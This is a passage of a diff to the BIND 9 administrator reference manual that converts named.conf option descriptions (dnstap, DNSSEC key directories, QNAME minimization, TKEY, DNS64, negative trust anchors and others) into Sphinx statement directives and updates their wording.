+   :any:`dnstap-output` can only be set globally in :namedconf:ref:`options`. Currently,
+   it can only be set once while :iscman:`named` is running; once set, it
+   cannot be changed by :option:`rndc reload` or :option:`rndc reconfig`.
+
+.. namedconf:statement:: dnstap-identity
+   :tags: logging
+   :short: Specifies an ``identity`` string to send in :any:`dnstap` messages.
 
-``dnstap-identity``
-   This specifies an ``identity`` string to send in ``dnstap`` messages. If
-   set to ``hostname``, which is the default, the server's hostname
+   This specifies an ``identity`` string to send in :any:`dnstap` messages. If
+   set to :any:`hostname`, which is the default, the server's hostname
    is sent. If set to ``none``, no identity string is sent.
 
-``dnstap-version``
-   This specifies a ``version`` string to send in ``dnstap`` messages. The
+.. namedconf:statement:: dnstap-version
+   :tags: logging
+   :short: Specifies a :any:`version` string to send in :any:`dnstap` messages.
+
+   This specifies a :any:`version` string to send in :any:`dnstap` messages. The
    default is the version number of the BIND release. If set to
    ``none``, no version string is sent.
 
-``geoip-directory``
-   When ``named`` is compiled using the MaxMind GeoIP2 geolocation API, this
+.. namedconf:statement:: geoip-directory
+   :tags: server
+   :short: Specifies the directory containing GeoIP database files.
+
+   When :iscman:`named` is compiled using the MaxMind GeoIP2 geolocation API, this
    specifies the directory containing GeoIP database files.  By default, the
    option is set based on the prefix used to build the ``libmaxminddb`` module;
    for example, if the library is installed in ``/usr/local/lib``, then the
-   default ``geoip-directory`` is ``/usr/local/share/GeoIP``. See :ref:`acl`
+   default :any:`geoip-directory` is ``/usr/local/share/GeoIP``. See :any:`acl`
    for details about ``geoip`` ACLs.
 
-``key-directory``
+.. namedconf:statement:: key-directory
+   :tags: dnssec
+   :short: Indicates the directory where public and private DNSSEC key files are found.
+
    This is the directory where the public and private DNSSEC key files should be
    found when performing a dynamic update of secure zones, if different
    than the current working directory. (Note that this option has no
    effect on the paths for files containing non-DNSSEC keys such as
-   ``bind.keys``, ``rndc.key``, or ``session.key``.)
+   ``rndc.key``, or ``session.key``.)
 
-``lmdb-mapsize``
-   When ``named`` is built with liblmdb, this option sets a maximum size
+.. namedconf:statement:: lmdb-mapsize
+   :tags: server
+   :short: Sets a maximum size for the memory map of the new-zone database in LMDB database format.
+
+   When :iscman:`named` is built with liblmdb, this option sets a maximum size
    for the memory map of the new-zone database (NZD) in LMDB database
    format. This database is used to store configuration information for
-   zones added using ``rndc addzone``. Note that this is not the NZD
+   zones added using :option:`rndc addzone`. Note that this is not the NZD
    database file size, but the largest size that the database may grow
    to.
 
    Because the database file is memory-mapped, its size is limited by
-   the address space of the ``named`` process. The default of 32 megabytes
-   was chosen to be usable with 32-bit ``named`` builds. The largest
+   the address space of the :iscman:`named` process. The default of 32 megabytes
+   was chosen to be usable with 32-bit :iscman:`named` builds. The largest
    permitted value is 1 terabyte. Given typical zone configurations
    without elaborate ACLs, a 32 MB NZD file ought to be able to hold
    configurations of about 100,000 zones.
 
-``managed-keys-directory``
+.. namedconf:statement:: managed-keys-directory
+   :tags: dnssec
+   :short: Specifies the directory in which to store the files that track managed DNSSEC keys.
+
    This specifies the directory in which to store the files that track managed DNSSEC
    keys (i.e., those configured using the ``initial-key`` or ``initial-ds``
-   keywords in a ``trust-anchors`` statement). By default, this is the working
+   keywords in a :any:`trust-anchors` statement). By default, this is the working
    directory. The directory *must* be writable by the effective user ID of the
-   ``named`` process.
+   :iscman:`named` process.
 
-   If ``named`` is not configured to use views, managed keys for
+   If :iscman:`named` is not configured to use views, managed keys for
    the server are tracked in a single file called
    ``managed-keys.bind``. Otherwise, managed keys are tracked in
    separate files, one file per view; each file name is the view
@@ -1117,305 +1386,371 @@ default is used.
    if a file using the old name format is found to exist, it is
    used instead of the new format.)
 
-``max-ixfr-ratio``
+.. namedconf:statement:: max-ixfr-ratio
+   :tags: transfer
+   :short: Sets the maximum size for IXFR responses to zone transfer requests.
+
    This sets the size threshold (expressed as a percentage of the size
-   of the full zone) beyond which ``named`` chooses to use an AXFR
+   of the full zone) beyond which :iscman:`named` chooses to use an AXFR
    response rather than IXFR when answering zone transfer requests. See
    :ref:`incremental_zone_transfers`.
 
    The minimum value is ``1%``. The keyword ``unlimited`` disables ratio
    checking and allows IXFRs of any size. The default is ``100%``.
 
-``new-zones-directory``
+.. namedconf:statement:: new-zones-directory
+   :tags: zone
+   :short: Specifies the directory where configuration parameters are stored for zones added by :option:`rndc addzone`.
+
    This specifies the directory in which to store the configuration
-   parameters for zones added via ``rndc addzone``. By default, this is
+   parameters for zones added via :option:`rndc addzone`. By default, this is
    the working directory. If set to a relative path, it is relative
    to the working directory. The directory *must* be writable by the
-   effective user ID of the ``named`` process.
+   effective user ID of the :iscman:`named` process.
+
+.. namedconf:statement:: qname-minimization
+   :tags: query
+   :short: Controls QNAME minimization behavior in the BIND 9 resolver.
+
+   When this is set to ``strict``, BIND follows the QNAME minimization
+   algorithm to the letter, as specified in :rfc:`7816`.
 
-``qname-minimization``
-   This option controls QNAME minimization behavior in the BIND
-   resolver. When set to ``strict``, BIND follows the QNAME
-   minimization algorithm to the letter, as specified in :rfc:`7816`.
    Setting this option to ``relaxed`` causes BIND to fall back to
-   normal (non-minimized) query mode when it receives either NXDOMAIN or
-   other unexpected responses (e.g., SERVFAIL, improper zone cut,
-   REFUSED) to a minimized query. ``disabled`` disables QNAME
-   minimization completely. The current default is ``relaxed``, but it
-   may be changed to ``strict`` in a future release.
+   normal (non-minimized) query mode when it receives either NXDOMAIN
+   or other unexpected responses (e.g., SERVFAIL, improper zone
+   cut, REFUSED) to a minimized query.
+
+   In ``relaxed`` mode ``named`` makes NS queries for ``<domain>`` as it
+   walks down the tree.
+
+   ``disabled`` disables QNAME minimization completely.
+   ``off`` is a synonym for ``disabled``.
+
+   The current default is ``relaxed``, but it may be changed to
+   ``strict`` in a future release.
+
+.. namedconf:statement:: tkey-gssapi-keytab
+   :tags: security
+   :short: Sets the KRB5 keytab file to use for GSS-TSIG updates.
 
-``tkey-gssapi-keytab``
    This is the KRB5 keytab file to use for GSS-TSIG updates. If this option is
-   set and tkey-gssapi-credential is not set, updates are
+   set and ``tkey-gssapi-credential`` is not set, updates are
    allowed with any key matching a principal in the specified keytab.
 
-``tkey-gssapi-credential``
+.. namedconf:statement:: tkey-gssapi-credential
+   :tags: security
+   :short: Sets the security credential for authentication keys requested by the GSS-TSIG protocol.
+
    This is the security credential with which the server should authenticate
    keys requested by the GSS-TSIG protocol. Currently only Kerberos 5
    authentication is available; the credential is a Kerberos
    principal which the server can acquire through the default system key
    file, normally ``/etc/krb5.keytab``. The location of the keytab file can be
-   overridden using the ``tkey-gssapi-keytab`` option. Normally this
+   overridden using the :any:`tkey-gssapi-keytab` option. Normally this
    principal is of the form ``DNS/server.domain``. To use
-   GSS-TSIG, ``tkey-domain`` must also be set if a specific keytab is
-   not set with ``tkey-gssapi-keytab``.
+   GSS-TSIG, :any:`tkey-domain` must also be set if a specific keytab is
+   not set with :any:`tkey-gssapi-keytab`.
+
+.. namedconf:statement:: tkey-domain
+   :tags: security
+   :short: Sets the domain appended to the names of all shared keys generated with ``TKEY``.
 
-``tkey-domain``
    This domain is appended to the names of all shared keys generated with
    ``TKEY``. When a client requests a ``TKEY`` exchange, it may or may
    not specify the desired name for the key. If present, the name of the
-   shared key is ``client-specified part`` + ``tkey-domain``.
+   shared key is ``client-specified part`` + :any:`tkey-domain`.
    Otherwise, the name of the shared key is ``random hex digits``
-   + ``tkey-domain``. In most cases, the ``domainname``
+   + :any:`tkey-domain`. In most cases, the ``domainname``
    should be the server's domain name, or an otherwise nonexistent
    subdomain like ``_tkey.domainname``. If using GSS-TSIG,
    this variable must be defined, unless a specific keytab
-   is specified using ``tkey-gssapi-keytab``.
-
-``tkey-dhkey``
-   This is the Diffie-Hellman key used by the server to generate shared keys
-   with clients using the Diffie-Hellman mode of ``TKEY``. The server
-   must be able to load the public and private keys from files in the
-   working directory. In most cases, the ``key_name`` should be the
-   server's host name.
+   is specified using :any:`tkey-gssapi-keytab`.
 
-``cache-file``
-   This is for testing only. Do not use.
+.. namedconf:statement:: dump-file
+   :tags: logging
+   :short: Indicates the pathname of the file where the server dumps the database after :option:`rndc dumpdb`.
 
-``dump-file``
    This is the pathname of the file the server dumps the database to, when
-   instructed to do so with ``rndc dumpdb``. If not specified, the
+   instructed to do so with :option:`rndc dumpdb`. If not specified, the
    default is ``named_dump.db``.
 
-``memstatistics-file``
+.. namedconf:statement:: memstatistics-file
+   :tags: logging
+   :short: Sets the pathname of the file where the server writes memory usage statistics on exit.
+
    This is the pathname of the file the server writes memory usage statistics to
    on exit. If not specified, the default is ``named.memstats``.
 
-``lock-file``
-   This is the pathname of a file on which ``named`` attempts to acquire a
+.. namedconf:statement:: lock-file
+   :tags: server
+   :short: Sets the pathname of the file on which :iscman:`named` attempts to acquire a file lock when starting for the first time.
+
+   This is the pathname of a file on which :iscman:`named` attempts to acquire a
    file lock when starting for the first time; if unsuccessful, the
    server terminates, under the assumption that another server
    is already running. If not specified, the default is
    ``none``.
 
    Specifying ``lock-file none`` disables the use of a lock file.
-   ``lock-file`` is ignored if ``named`` was run using the ``-X``
-   option, which overrides it. Changes to ``lock-file`` are ignored if
-   ``named`` is being reloaded or reconfigured; it is only effective
+   :any:`lock-file` is ignored if :iscman:`named` was run using the :option:`-X <named -X>`
+   option, which overrides it. Changes to :any:`lock-file` are ignored if
+   :iscman:`named` is being reloaded or reconfigured; it is only effective
    when the server is first started.
 
-``pid-file``
+.. namedconf:statement:: pid-file
+   :tags: server
+   :short: Specifies the pathname of the file where the server writes its process ID.
+
    This is the pathname of the file the server writes its process ID in. If not
-   specified, the default is ``/var/run/named/named.pid``. The PID file
+   specified, the default is |named_pid|. The PID file
    is used by programs that send signals to the running name
    server. Specifying ``pid-file none`` disables the use of a PID file;
    no file is written and any existing one is removed. Note
    that ``none`` is a keyword, not a filename, and therefore is not
    enclosed in double quotes.
 
-``recursing-file``
+.. namedconf:statement:: recursing-file
+   :tags: server
+   :short: Specifies the pathname of the file where the server dumps queries that are currently recursing via :option:`rndc recursing`.
+
    This is the pathname of the file where the server dumps the queries that are
-   currently recursing, when instructed to do so with ``rndc recursing``.
+   currently recursing, when instructed to do so with :option:`rndc recursing`.
    If not specified, the default is ``named.recursing``.
 
-``statistics-file``
+.. namedconf:statement:: statistics-file
+   :tags: logging, server
+   :short: Specifies the pathname of the file where the server appends statistics, when using :option:`rndc stats`.
+
    This is the pathname of the file the server appends statistics to, when
-   instructed to do so using ``rndc stats``. If not specified, the
+   instructed to do so using :option:`rndc stats`. If not specified, the
    default is ``named.stats`` in the server's current directory. The
    format of the file is described in :ref:`statsfile`.
 
-``bindkeys-file``
+.. namedconf:statement:: bindkeys-file
+   :tags: dnssec
+   :short: Specifies the pathname of a file to override the built-in trusted keys provided by :iscman:`named`.
+
    This is the pathname of a file to override the built-in trusted keys provided
-   by ``named``. See the discussion of ``dnssec-validation`` for
-   details. If not specified, the default is ``/etc/bind.keys``.
+   by :iscman:`named`. See the discussion of :any:`dnssec-validation` for
+   details. This is intended for server testing.
+
+.. namedconf:statement:: secroots-file
+   :tags: dnssec
+   :short: Specifies the pathname of the file where the server dumps security roots, when using :option:`rndc secroots`.
 
-``secroots-file``
    This is the pathname of the file the server dumps security roots to, when
-   instructed to do so with ``rndc secroots``. If not specified, the
+   instructed to do so with :option:`rndc secroots`. If not specified, the
    default is ``named.secroots``.
 
-``session-keyfile``
+.. namedconf:statement:: session-keyfile
+   :tags: security
+   :short: Specifies the pathname of the file where a TSIG session key is written, when generated by :iscman:`named` for use by ``nsupdate -l``.
+
    This is the pathname of the file into which to write a TSIG session key
-   generated by ``named`` for use by ``nsupdate -l``. If not specified,
-   the default is ``/var/run/named/session.key``. (See :ref:`dynamic_update_policies`,
-   and in particular the discussion of the ``update-policy`` statement's
+   generated by :iscman:`named` for use by ``nsupdate -l``. If not specified,
+   the default is |session_key|. (See :ref:`dynamic_update_policies`,
+   and in particular the discussion of the :any:`update-policy` statement's
    ``local`` option, for more information about this feature.)
 
-``session-keyname``
+.. namedconf:statement:: session-keyname
+   :tags: security
+   :short: Specifies the key name for the TSIG session key.
+
    This is the key name to use for the TSIG session key. If not specified, the
    default is ``local-ddns``.
 
-``session-keyalg``
+.. namedconf:statement:: session-keyalg
+   :tags: security
+   :short: Specifies the algorithm to use for the TSIG session key.
+
    This is the algorithm to use for the TSIG session key. Valid values are
    hmac-sha1, hmac-sha224, hmac-sha256, hmac-sha384, hmac-sha512, and
    hmac-md5. If not specified, the default is hmac-sha256.
 
-``port``
+.. namedconf:statement:: port
+   :tags: server, query
+   :short: Specifies the UDP/TCP port number the server uses to receive and send DNS protocol traffic.
+
    This is the UDP/TCP port number the server uses to receive and send DNS
    protocol traffic. The default is 53. This option is mainly intended
    for server testing; a server using a port other than 53 is not
    able to communicate with the global DNS.
 
-``tls-port``
+.. namedconf:statement:: tls-port
+   :tags: server, query
+   :short: Specifies the TCP port number the server uses to receive and send DNS-over-TLS protocol traffic.
+
    This is the TCP port number the server uses to receive and send
    DNS-over-TLS protocol traffic. The default is 853.
 
-``https-port``
+.. namedconf:statement:: https-port
+   :tags: server, query
+   :short: Specifies the TCP port number the server uses to receive and send DNS-over-HTTPS protocol traffic.
+
    This is the TCP port number the server uses to receive and send
    DNS-over-HTTPS protocol traffic. The default is 443.
 
-``http-port``
+.. namedconf:statement:: http-port
+   :tags: server, query
+   :short: Specifies the TCP port number the server uses to receive and send unencrypted DNS traffic via HTTP.
+
    This is the TCP port number the server uses to receive and send
    unencrypted DNS traffic via HTTP (a configuration that may be useful
    when encryption is handled by third-party software or by a reverse
    proxy).
 
-``dscp``
-   This is the global Differentiated Services Code Point (DSCP) value to
-   classify outgoing DNS traffic, on operating systems that support DSCP.
-   Valid values are 0 through 63. It is not configured by default.
-
-``random-device``
-   This specifies a source of entropy to be used by the server; it is a
-   device or file from which to read entropy. If it is a file,
-   operations requiring entropy will fail when the file has been
-   exhausted.
-
-   Entropy is needed for cryptographic operations such as TKEY
-   transactions, dynamic update of signed zones, and generation of TSIG
-   session keys. It is also used for seeding and stirring the
-   pseudo-random number generator which is used for less critical
-   functions requiring randomness, such as generation of DNS message
-   transaction IDs.
-
-   If ``random-device`` is not specified, or if it is set to ``none``,
-   entropy is read from the random number generation function
-   supplied by the cryptographic library with which BIND was linked
-   (i.e. OpenSSL or a PKCS#11 provider).
-
-   The ``random-device`` option takes effect during the initial
-   configuration load at server startup time and is ignored on
-   subsequent reloads.
-
-``preferred-glue``
+.. namedconf:statement:: http-listener-clients
+   :tags: server
+   :short: Limits the number of active concurrent connections on a per-listener basis.
+
+   This sets a hard limit on the number of active concurrent connections
+   on a per-listener basis. The default value is 300; setting it to 0
+   removes the quota.
+
+.. namedconf:statement:: http-streams-per-connection
+   :tags: server
+   :short: Limits the number of active concurrent HTTP/2 streams on a per-connection basis.
+
+   This sets a hard limit on the number of active concurrent HTTP/2
+   streams on a per-connection basis. The default value is 100;
+   setting it to 0 removes the limit. Once the limit is exceeded, the
+   server finishes the HTTP session.
+
+.. namedconf:statement:: preferred-glue
+   :tags: query
+   :short: Controls the order of glue records in an A or AAAA response.
+
    If specified, the listed type (A or AAAA) is emitted before
    other glue in the additional section of a query response. The default
    is to prefer A records when responding to queries that arrived via
    IPv4 and AAAA when responding to queries that arrived via IPv6.
 
-.. _root-delegation-only:
+.. namedconf:statement:: disable-algorithms
+   :tags: dnssec
+   :short: Disables DNSSEC algorithms from a specified zone.
 
-``root-delegation-only``
-   This turns on enforcement of delegation-only in TLDs (top-level domains)
-   and root zones with an optional exclude list.
+   This disables the specified DNSSEC algorithms at and below the specified
+   name. Multiple :any:`disable-algorithms` statements are allowed. Only
+   the best-match :any:`disable-algorithms` clause is used to
+   determine the algorithms.
 
-   DS queries are expected to be made to and be answered by delegation-only
-   zones. Such queries and responses are treated as an exception to
-   delegation-only processing and are not converted to NXDOMAIN
-   responses, provided a CNAME is not discovered at the query name.
+   If all supported algorithms are disabled, the zones covered by the
+   :any:`disable-algorithms` setting are treated as insecure.
 
-   If a delegation-only zone server also serves a child zone, it is not
-   always possible to determine whether an answer comes from the
-   delegation-only zone or the child zone. SOA NS and DNSKEY records are
-   apex-only records and a matching response that contains these records
-   or DS is treated as coming from a child zone. RRSIG records are also
-   examined to see whether they are signed by a child zone, and the
-   authority section is examined to see if there is evidence that
-   the answer is from the child zone. Answers that are determined to be
-   from a child zone are not converted to NXDOMAIN responses. Despite
-   all these checks, there is still a possibility of false negatives when
-   a child zone is being served.
+   Configured trust anchors in :any:`trust-anchors` (or :any:`managed-keys` or
+   :any:`trusted-keys`) that match a disabled algorithm are ignored and treated
+   as if they were not configured.
 
-   Similarly, false positives can arise from empty nodes (no records at
-   the name) in the delegation-only zone when the query type is not ``ANY``.
+.. namedconf:statement:: disable-ds-digests
+   :tags: dnssec, zone
+   :short: Disables DS digest types from a specified zone.
 
-   Note that some TLDs are not delegation-only; e.g., "DE", "LV", "US", and
-   "MUSEUM". This list is not exhaustive.
+   This disables the specified DS digest types at and below the specified
+   name. Multiple :any:`disable-ds-digests` statements are allowed. Only
+   the best-match :any:`disable-ds-digests` clause is used to
+   determine the digest types.
 
-   ::
+   If all supported digest types are disabled, the zones covered by
+   :any:`disable-ds-digests` are treated as insecure.
 
-      options {
-          root-delegation-only exclude { "de"; "lv"; "us"; "museum"; };
-      };
+.. namedconf:statement:: dnssec-must-be-secure
+   :tags: deprecated
+   :short: Defines hierarchies that must or may not be secure (signed and validated).
 
-``disable-algorithms``
-   This disables the specified DNSSEC algorithms at and below the specified
-   name. Multiple ``disable-algorithms`` statements are allowed. Only
-   the best-match ``disable-algorithms`` clause is used to
-   determine the algorithms.
+   This option is deprecated and will be removed in a future release.
 
-   If all supported algorithms are disabled, the zones covered by the
-   ``disable-algorithms`` setting are treated as insecure.
+   This specifies hierarchies which must be or may not be secure (signed and
+   validated). If ``yes``, then :iscman:`named` only accepts answers if
+   they are secure. If ``no``, then normal DNSSEC validation applies,
+   allowing insecure answers to be accepted. The specified domain
+   must be defined as a trust anchor, for instance in a :any:`trust-anchors`
+   statement, or ``dnssec-validation auto`` must be active.
+
+.. namedconf:statement:: dns64
+   :tags: query
+   :short: Instructs :iscman:`named` to return mapped IPv4 addresses to AAAA queries when there are no AAAA records.
+
+   This directive instructs :iscman:`named` to return mapped IPv4 addresses to
+   AAAA queries when there are no AAAA records. It is intended to be
+   used in conjunction with a NAT64. Each :any:`dns64` defines one DNS64
+   prefix. Multiple DNS64 prefixes can be defined.
+
+   Compatible IPv6 prefixes have lengths of 32, 40, 48, 56, 64, and 96, per
+   :rfc:`6052`. Bits 64..71 inclusive must be zero, with the most significant bit
+   of the prefix in position 0.
+
+   In addition, a reverse IP6.ARPA zone is created for the prefix
+   to provide a mapping from the IP6.ARPA names to the corresponding
+   IN-ADDR.ARPA names using synthesized CNAMEs.
+
+   .. namedconf:statement:: dns64-server
+      :tags: server
+      :short: Specifies the name of the server for :any:`dns64` zones.
+
+   .. namedconf:statement:: dns64-contact
+      :tags: server
+      :short: Specifies the name of the contact for :any:`dns64` zones.
+
+      :any:`dns64-server` and
+      :any:`dns64-contact` can be used to specify the name of the server and
+      contact for the zones. These can be set at the view/options
+      level but not on a per-prefix basis.
+
+      :any:`dns64` will also cause IPV4ONLY.ARPA to be created if not
+      explicitly disabled using :any:`ipv4only-enable`.
+
+   .. namedconf:statement:: clients
+      :tags: query
+      :short: Specifies an access control list (ACL) of clients that are affected by a given :any:`dns64` directive.
+
+      Each :any:`dns64` supports an optional :any:`clients` ACL that determines
+      which clients are affected by this directive. If not defined, it
+      defaults to ``any;``.
+
+   .. namedconf:statement:: mapped
+      :tags: query
+      :short: Specifies an access control list (ACL) of IPv4 addresses that are to be mapped to the corresponding A RRset in :any:`dns64`.
+
+      Each :any:`dns64` block supports an optional :any:`mapped` ACL that selects which
+      IPv4 addresses are to be mapped in the corresponding A RRset. If not
+      defined, it defaults to ``any;``.
+
+   .. namedconf:statement:: exclude
+      :tags: query
+      :short: Allows a list of IPv6 addresses to be ignored if they appear in a domain name's AAAA records in :any:`dns64`.
 
-   Configured trust anchors in ``trust-anchors`` (or ``managed-keys`` or
-   ``trusted-keys``) that match a disabled algorithm are ignored and treated
-   as if they were not configured.
+      Normally, DNS64 does not apply to a domain name that owns one or more
+      AAAA records; these records are simply returned. The optional
+      :any:`exclude` ACL allows specification of a list of IPv6 addresses that
+      are ignored if they appear in a domain name's AAAA records;
+      DNS64 is applied to any A records the domain name owns. If not
+      defined, :any:`exclude` defaults to ::ffff:0.0.0.0/96.
 
-``disable-ds-digests``
-   This disables the specified DS digest types at and below the specified
-   name. Multiple ``disable-ds-digests`` statements are allowed. Only
-   the best-match ``disable-ds-digests`` clause is used to
-   determine the digest types.
+   .. namedconf:statement:: suffix
+      :tags: query
+      :short: Defines trailing bits for mapped IPv4 address bits in :any:`dns64`.
 
-   If all supported digest types are disabled, the zones covered by
-   ``disable-ds-digests`` are treated as insecure.
+      An optional :any:`suffix` can also be defined to set the bits trailing
+      the mapped IPv4 address bits. By default these bits are set to
+      ``::``. The bits matching the prefix and mapped IPv4 address must be
+      zero.
 
-``dnssec-must-be-secure``
-   This specifies hierarchies which must be or may not be secure (signed and
-   validated). If ``yes``, then ``named`` only accepts answers if
-   they are secure. If ``no``, then normal DNSSEC validation applies,
-   allowing insecure answers to be accepted. The specified domain
-   must be defined as a trust anchor, for instance in a ``trust-anchors``
-   statement, or ``dnssec-validation auto`` must be active.
+   .. namedconf:statement:: recursive-only
+      :tags: query
+      :short: Toggles whether :any:`dns64` synthesis occurs only for recursive queries.
 
-``dns64``
-   This directive instructs ``named`` to return mapped IPv4 addresses to
-   AAAA queries when there are no AAAA records. It is intended to be
-   used in conjunction with a NAT64. Each ``dns64`` defines one DNS64
-   prefix. Multiple DNS64 prefixes can be defined.
+      If :any:`recursive-only` is set to ``yes``, the DNS64 synthesis only
+      happens for recursive queries. The default is ``no``.
 
-   Compatible IPv6 prefixes have lengths of 32, 40, 48, 56, 64, and 96, per
-   :rfc:`6052`. Bits 64..71 inclusive must be zero, with the most significant bit
-   of the prefix in position 0.
+   .. namedconf:statement:: break-dnssec
+      :tags: query
+      :short: Enables :any:`dns64` synthesis even if the validated result would cause a DNSSEC validation failure.
 
-   In addition, a reverse IP6.ARPA zone is created for the prefix
-   to provide a mapping from the IP6.ARPA names to the corresponding
-   IN-ADDR.ARPA names using synthesized CNAMEs. ``dns64-server`` and
-   ``dns64-contact`` can be used to specify the name of the server and
-   contact for the zones. These can be set at the view/options
-   level but not on a per-prefix basis.
-
-   ``dns64`` will also cause IPV4ONLY.ARPA to be created if not
-   explicitly disabled using ``ipv4only-enable``.
-
-   Each ``dns64`` supports an optional ``clients`` ACL that determines
-   which clients are affected by this directive. If not defined, it
-   defaults to ``any;``.
-
-   Each ``dns64`` supports an optional ``mapped`` ACL that selects which
-   IPv4 addresses are to be mapped in the corresponding A RRset. If not
-   defined, it defaults to ``any;``.
-
-   Normally, DNS64 does not apply to a domain name that owns one or more
-   AAAA records; these records are simply returned. The optional
-   ``exclude`` ACL allows specification of a list of IPv6 addresses that
-   are ignored if they appear in a domain name's AAAA records;
-   DNS64 is applied to any A records the domain name owns. If not
-   defined, ``exclude`` defaults to ::ffff:0.0.0.0/96.
-
-   An optional ``suffix`` can also be defined to set the bits trailing
-   the mapped IPv4 address bits. By default these bits are set to
-   ``::``. The bits matching the prefix and mapped IPv4 address must be
-   zero.
-
-   If ``recursive-only`` is set to ``yes``, the DNS64 synthesis only
-   happens for recursive queries. The default is ``no``.
-
-   If ``break-dnssec`` is set to ``yes``, the DNS64 synthesis happens
-   even if the result, if validated, would cause a DNSSEC validation
-   failure. If this option is set to ``no`` (the default), the DO is set
-   on the incoming query, and there are RRSIGs on the applicable
-   records, then synthesis does not happen.
+      If :any:`break-dnssec` is set to ``yes``, the DNS64 synthesis happens
+      even if the result, if validated, would cause a DNSSEC validation
+      failure. If this option is set to ``no`` (the default), the DO is set
+      on the incoming query, and there are RRSIGs on the applicable
+      records, then synthesis does not happen.
 
    ::
 
@@ -1428,112 +1763,140 @@ default is used.
               suffix ::;
           };
 
-``dnssec-loadkeys-interval``
-   When a zone is configured with ``auto-dnssec maintain;``, its key
-   repository must be checked periodically to see if any new keys have
-   been added or any existing keys' timing metadata has been updated
-   (see :ref:`man_dnssec-keygen` and :ref:`man_dnssec-settime`).
-   The ``dnssec-loadkeys-interval`` option
-   sets the frequency of automatic repository checks, in minutes.  The
-   default is ``60`` (1 hour), the minimum is ``1`` (1 minute), and
+.. namedconf:statement:: ipv4only-enable
+   :tags: query
+   :short: Enables automatic IPv4 zones if a :any:`dns64` block is configured.
+
+   This enables or disables automatic zones ``ipv4only.arpa``,
+   ``170.0.0.192.in-addr.arpa``, and ``171.0.0.192.in-addr.arpa``.
+
+   By default these zones are loaded if :any:`dns64` is configured.
+
+.. namedconf:statement:: ipv4only-server
+   :tags: server, query
+   :short: Specifies the name of the server for the IPV4ONLY.ARPA zone created by :any:`dns64`.
+
+.. namedconf:statement:: ipv4only-contact
+   :tags: server
+   :short: Specifies the contact for the IPV4ONLY.ARPA zone created by :any:`dns64`.
+
+   :any:`ipv4only-server` and :any:`ipv4only-contact` can be used to specify the name
+   of the server and contact for the IPV4ONLY.ARPA zone created by
+   :any:`dns64`.
+
+.. namedconf:statement:: dnssec-loadkeys-interval
+   :tags: dnssec
+   :short: Sets the frequency of automatic checks of the DNSSEC key repository.
+
+   When a zone is configured with ``dnssec-policy;``, its key
+   repository must be checked periodically to see if the next step of a key
+   rollover is due. The :any:`dnssec-loadkeys-interval` option
+   sets the default interval of key repository checks, in minutes, in case
+   the next key event cannot be calculated (for example because a DS record
+   needs to be published).
+
+   The default is ``60`` (1 hour), the minimum is ``1`` (1 minute), and
    the maximum is ``1440`` (24 hours); any higher value is silently
    reduced.
 
-``dnssec-policy``
+:namedconf:ref:`dnssec-policy`
+
    This specifies which key and signing policy (KASP) should be used for this
-   zone. This is a string referring to a ``dnssec-policy`` statement.  There
-   are three built-in policies: ``default``, which uses the default policy,
-   ``insecure``, to be used when you want to gracefully unsign your zone, and
-   ``none``, which means no DNSSEC policy.  The default is ``none``.
-   See :ref:`dnssec-policy Grammar <dnssec_policy_grammar>` for more details.
-
-``dnssec-update-mode``
-   If this option is set to its default value of ``maintain`` in a zone
-   of type ``primary`` which is DNSSEC-signed and configured to allow
-   dynamic updates (see :ref:`dynamic_update_policies`), and if ``named`` has access
-   to the private signing key(s) for the zone, then ``named``
-   automatically signs all new or changed records and maintains signatures
-   for the zone by regenerating RRSIG records whenever they approach
-   their expiration date.
-
-   If the option is changed to ``no-resign``, then ``named`` signs
-   all new or changed records, but scheduled maintenance of signatures
-   is disabled.
+   zone. This is a string referring to a :namedconf:ref:`dnssec-policy` block.
+   The default is ``none``.
+
+.. namedconf:statement:: dnssec-update-mode
+   :tags: obsolete
 
-   With either of these settings, ``named`` rejects updates to a
-   DNSSEC-signed zone when the signing keys are inactive or unavailable
-   to ``named``. (A planned third option, ``external``, will disable all
-   automatic signing and allow DNSSEC data to be submitted into a zone
-   via dynamic update; this is not yet implemented.)
+   This option no longer has any effect.
+
+.. namedconf:statement:: nta-lifetime
+   :tags: dnssec
+   :short: Specifies the lifetime, in seconds, for negative trust anchors added via :option:`rndc nta`.
 
-``nta-lifetime``
    This specifies the default lifetime, in seconds, for
-   negative trust anchors added via ``rndc nta``.
+   negative trust anchors added via :option:`rndc nta`.
 
    A negative trust anchor selectively disables DNSSEC validation for
    zones that are known to be failing because of misconfiguration, rather
    than an attack. When data to be validated is at or below an active
-   NTA (and above any other configured trust anchors), ``named``
+   NTA (and above any other configured trust anchors), :iscman:`named`
    aborts the DNSSEC validation process and treats the data as insecure
    rather than bogus. This continues until the NTA's lifetime has
-   elapsed. NTAs persist across ``named`` restarts.
+   elapsed. NTAs persist across :iscman:`named` restarts.
 
    For convenience, TTL-style time-unit suffixes can be used to specify the NTA
    lifetime in seconds, minutes, or hours. It also accepts ISO 8601 duration
    formats.
 
-   ``nta-lifetime`` defaults to one hour; it cannot exceed one week.
+   :any:`nta-lifetime` defaults to one hour; it cannot exceed one week.
+
+.. namedconf:statement:: nta-recheck
+   :tags: dnssec
+   :short: Specifies the time interval for checking whether negative trust anchors added via :option:`rndc nta` are still necessary.
 
-``nta-recheck``
    This specifies how often to check whether negative trust anchors added via
-   ``rndc nta`` are still necessary.
+   :option:`rndc nta` are still necessary.
 
    A negative trust anchor is normally used when a domain has stopped
    validating due to operator error; it temporarily disables DNSSEC
    validation for that domain. In the interest of ensuring that DNSSEC
-   validation is turned back on as soon as possible, ``named``
+   validation is turned back on as soon as possible, :iscman:`named`
    periodically sends a query to the domain, ignoring negative trust
    anchors, to find out whether it can now be validated. If so, the
    negative trust anchor is allowed to expire early.
 
    Validity checks can be disabled for an individual NTA by using
-   ``rndc nta -f``, or for all NTAs by setting ``nta-recheck`` to zero.
+   :option:`rndc nta -f <rndc nta>`, or for all NTAs by setting :any:`nta-recheck` to zero.
 
    For convenience, TTL-style time-unit suffixes can be used to specify the NTA
    recheck interval in seconds, minutes, or hours. It also accepts ISO 8601
    duration formats.
 
-   The default is five minutes. It cannot be longer than ``nta-lifetime``, which
+   The default is five minutes. It cannot be longer than :any:`nta-lifetime`, which
    cannot be longer than a week.
 
-``max-zone-ttl``
-   This specifies a maximum permissible TTL value in seconds. For
-   convenience, TTL-style time-unit suffixes may be used to specify the
-   maximum value. When loading a zone file using a ``masterfile-format``
-   of ``text`` or ``raw``, any record encountered with a TTL higher than
-   ``max-zone-ttl`` causes the zone to be rejected.
+:any:`max-zone-ttl`
+   :tags: deprecated
+   :short: Specifies a maximum permissible time-to-live (TTL) value, in seconds.
+
